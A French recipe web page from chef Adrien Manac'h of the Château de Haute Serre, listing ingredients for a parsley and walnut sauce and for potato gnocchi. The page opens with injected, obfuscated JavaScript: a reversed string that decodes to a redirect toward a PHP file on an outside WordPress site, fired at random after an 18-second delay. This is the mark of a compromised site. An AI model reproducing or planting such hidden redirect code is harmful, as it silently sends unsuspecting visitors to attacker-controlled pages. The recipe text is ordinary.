) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1558807048386{padding-top: 10px !important;padding-right: 10px !important;padding-bottom: 10px !important;padding-left: 10px !important;background-color: #d3d3d3 !important;} »]Par, Adrien Manac’h, chef du restaurant « du Château de Haute Serre » – http://www.hauteserre.fr/ & membre des Bonnes Tables du Lot

Recette
Temps de préparation : 20 min

Temps de cuisson : 5 min

Ingrédient :
# Pour la sauce
• 80 g persil équeuté et lavé
• 1/2 gousse d’ail dégermé
• 50 g de noix du quercy
• 150 g de crème liquide
• 60 g d’huile de noix
• 50 g de tomme de chèvre du quercy

# Pour les GNOCCHIS
• 200 g de farine
• 2 jaunes d’oeufs
• 500 g de pomme de terre – Type AGRIA
(pour 400 g de pulpe froide)